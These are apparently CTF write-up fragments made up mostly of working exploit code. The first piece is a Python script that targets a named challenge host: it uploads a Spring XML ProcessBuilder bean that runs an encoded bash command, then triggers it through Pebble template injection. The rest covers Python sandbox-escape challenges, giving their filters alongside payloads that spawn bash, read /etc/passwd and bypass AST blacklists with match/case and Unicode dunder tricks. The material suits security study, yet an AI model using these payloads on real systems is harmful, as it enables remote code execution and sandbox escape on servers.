"org.springframework.context"+".support.ClassPathXmlApplicationContext"

import requests
import datetime
import time

host = "http://eci-2zeiuc2hk7njlsvn9mue.cloudeci1.ichunqiu.com:8088"
# host = "http://127.0.0.1:8088"

url = host + "/uploadFile"

proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080"
}

def calc_time(date_string):
    date_object = datetime.datetime.strptime(date_string, '%a, %d %b %Y %H:%M:%S %Z')

    t = int(date_object.strftime('%H%M%S'))
    # t -= 50000

    print(f"[+] t: {t}")
    return t

def trigger(t,exp=False):
    t -= 4
    if exp:
        loop = 16
    else:
        loop = 100
    for _ in range(loop):
        file_name = f"file_20231217_{str(t).rjust(6,'0')}"
        trigger_url = f"{host}/?x={file_name}"
        res = requests.get(trigger_url,proxies=proxies)
        if "constructor-arg" in res.text:
            print(f"[+] find exp in /tmp/{file_name}")
            return f"file:///tmp/{file_name}"
        else:
            t += 1
            continue
        

def upload():
    exp1 = {
    "content": '''<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,Y2F0IC9mbGFnID4gL3RtcC8xMjMxMjQucGViYmxl}|{base64,-d}|{bash,-i}</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>
'''
    }
    res = requests.post(url,data=exp1,proxies=proxies)

    date_string = res.headers['Date']
    return calc_time(date_string)


def exploit(exp_path):
    exp2 = {
        "content":'''{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context"+".support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("''' + exp_path + '''.pebble") }}
{{ yyy.refresh() }}'''
        # "content":"111111"
    }

    res = requests.post(url,data=exp2,proxies=proxies)
    date_string = res.headers['Date']

    return calc_time(date_string)


t = upload()
file_path = trigger(t)
time.sleep(10)
t = exploit(file_path)
trigger(t,True)

import code, os, subprocess
import pty
def blacklist_fun_callback(*args):
    print("Player! It's already banned!")

pty.spawn = blacklist_fun_callback
os.system = blacklist_fun_callback
os.popen = blacklist_fun_callback
subprocess.Popen = blacklist_fun_callback
subprocess.call = blacklist_fun_callback
code.interact = blacklist_fun_callback
code.compile_command = blacklist_fun_callback

vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback

del os, subprocess, code, pty, blacklist_fun_callback
input_code = input("Can u input your code to escape > ")

blacklist_words = [
    "subprocess",
    "os",
    "code",
    "interact",
    "pty",
    "pdb",
    "platform",
    "importlib",
    "timeit",
    "imp", 
    "commands",
    "popen",
    "load_module",
    "spawn",
    "system",
    "/bin/sh",
    "/bin/bash",
    "flag",
    "eval",
    "exec",
    "compile",
    "input",
    "vars",
    "attr",
    "dir",
    "getattr"
    "__import__",
    "__builtins__",
    "__getattribute__",
    "__class__",
    "__base__",
    "__subclasses__",
    "__getitem__",
    "__self__",
    "__globals__",
    "__init__",
    "__name__",
    "__dict__",
    "._module",
    "builtins",
    "breakpoint",
    "import",
]

def my_filter(input_code):
    for x in blacklist_words:
        if x in input_code:
            return False
    return True

while '{' in input_code and '}' in input_code and input_code.isascii() and my_filter(input_code) and "eval" not in input_code and len(input_code) < 65:
    input_code = eval(f"f'{input_code}'")
else:
    print("Player! Please obey the filter rules which I set!")

{print(open("/etc/passwd").read())}

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "<string>", line 1
    f'{open("a","a").write("s'")}'
                              ^
SyntaxError: unterminated string literal (detected at line 1)

f-string expression part cannot include a backslash

输入：',open("a","a").write("s'"),'
拼接后为：eval('f\'\',open("a","a").write("s\'"),\'\'')

{1}',open('cod'+'e.py','w').write(open('a').read()),'

{open("a","w").write("__im")}
{open("a","a").write("port_")}
{1}',open("a","a").write("_('o"),'
{1}',open("a","a").write("s').syste"),'
{1}',open("a","a").write("m('bash')"),'
{1}',open('cod'+'e.py','w').write(open('a').read()),'

list(globals().values())[-2].clear()

# {[list(globals().values())[-2].clear(),"(inpu""t())}"][1]} 离谱了，之前把括号写错了。。。下面才是正确的 payload。
{[list(globals().values())[-2].clear(),"{inpu""t()}"][1]}
# input_code = eval(f"f'{input_code}'") 后可以得到 {input()}

{globals()["__builtins__"].breakpoint()}

import os
os.listdir("/")

os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)

import ast

BAD_ATS = {
  ast.Attribute,
  ast.Subscript,
  ast.comprehension,
  ast.Delete,
  ast.Try,
  ast.For,
  ast.ExceptHandler,
  ast.With,
  ast.Import,
  ast.ImportFrom,
  ast.Assign,
  ast.AnnAssign,
  ast.Constant,
  ast.ClassDef,
  ast.AsyncFunctionDef,
}

BUILTINS = {
    "bool": bool,
    "set": set,
    "tuple": tuple,
    "round": round,
    "map": map,
    "len": len,
    "bytes": bytes,
    "dict": dict,
    "str": str,
    "all": all,
    "range": range,
    "enumerate": enumerate,
    "int": int,
    "zip": zip,
    "filter": filter,
    "list": list,
    "max": max,
    "float": float,
    "divmod": divmod,
    "unicode": str,
    "min": min,
    "range": range,
    "sum": sum,
    "abs": abs,
    "sorted": sorted,
    "repr": repr,
    "object": object,
    "isinstance": isinstance
}



def is_safe(code):
  if type(code) is str and "__" in code:
    return False

  for x in ast.walk(compile(code, "<QWB7th>", "exec", flags=ast.PyCF_ONLY_AST)):
    if type(x) in BAD_ATS:
      return False

  return True  


if __name__ == "__main__":
  user_input = ""
  while True:
    line = input()
    if line == "":
      break
    user_input += line
    user_input += "\n"

  if is_safe(user_input) and len(user_input) < 1800:
    exec(user_input, {"__builtins__": BUILTINS}, {})

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

item = 2

match item:
    case 1:
        print("One")
    case 2:
        print("Two")

# Two

item = (1, 2)

match item:
    case (x, y, z):
        print(f"{x} {y} {z}")
    case (x, y):
        print(f"{x} {y}")
    case (x,):
        print(f"{x}")

class AClass:
    def __init__(self, value):
        self.thing = value

item = AClass(32)

match item:
    case AClass(thing=x):
        print(f"Got {x = }!")

# Got x = 32!

match str():
    case str(__class__=x):
        print(x==''.__class__)

# True

match str():
    case object(__class__=x):
        print(x==''.__class__)

# True

import os
import ast 

a = '''
match str():
    case str(__class__=x):
        print(x)
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))

Module(
    body=[
        Match(
            subject=Call(
                func=Name(id='str', ctx=Load()),
                args=[],
                keywords=[]),
            cases=[
                match_case(
                    pattern=MatchClass(
                        cls=Name(id='str', ctx=Load()),
                        patterns=[],
                        kwd_attrs=[
                            '__class__'],
                        kwd_patterns=[
                            MatchAs(name='x')]),
                    body=[
                        Expr(
                            value=Call(
                                func=Name(id='print', ctx=Load()),
                                args=[
                                    Name(id='x', ctx=Load())],
                                keywords=[]))])])],
    type_ignores=[])

match str():
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        print(subclazz)

[
    system:=111,
    bash:=222
]

Module(
    body=[
        Expr(
            value=List(
                elts=[
                    NamedExpr(
                        target=Name(id='system', ctx=Store()),
                        value=Constant(value=111)),
                    NamedExpr(
                        target=Name(id='bash', ctx=Store()),
                        value=Constant(value=222))],
                ctx=Load()))],
    type_ignores=[])

"" : str()
0  : len([])
"0": str(len([]))
"1": str(len([str()])) 或 str(len([min]))
"2": str(len([str(),str()])) 或 str(len([min,max]))
'A': chr(len([min,min,min,min,min])*len([min,min,min,min,min,min,min,min,min,min,min,min,min]))

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[])))       # _wrap_close
min(list(dict(bash=[])))              # bash

match globals:
    case object(get=get_func):
        get_func("system")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

def filter_func(subclazzes_item):
    [ _wrap_close:=min(list(dict(_wrap_close=[])))]
    match subclazzes_item:
        case object(_＿name_＿=name):
            if name==_wrap_close:
                return subclazzes_item
[
    subclazzes_item:=min(filter(filter_func,subclazzes()))
]

match str():
    case object(_＿class_＿=clazz):
        match clazz:
            case object(_＿base_＿=bass):
                match bass:
                    case object(_＿subclasses_＿=subclazzes):
                        [
                            system:=min(list(dict(system=[]))),
                            bash:=min(list(dict(bash=[])))
                        ]
                        def filter_func(subclazzes_item):
                            [ _wrap_close:=min(list(dict(_wrap_close=[])))]
                            match subclazzes_item:
                                case object(_＿name_＿=name):
                                    if name==_wrap_close:
                                        return subclazzes_item
                        [
                            subclazzes_item:=min(filter(filter_func,subclazzes()))
                        ]
                        match subclazzes_item:
                            case object(_＿init_＿=initz):
                                match initz:
                                    case object(_＿globals_＿=globals):
                                        match globals:
                                            case object(get=get_func):
                                                get_func(system)(bash)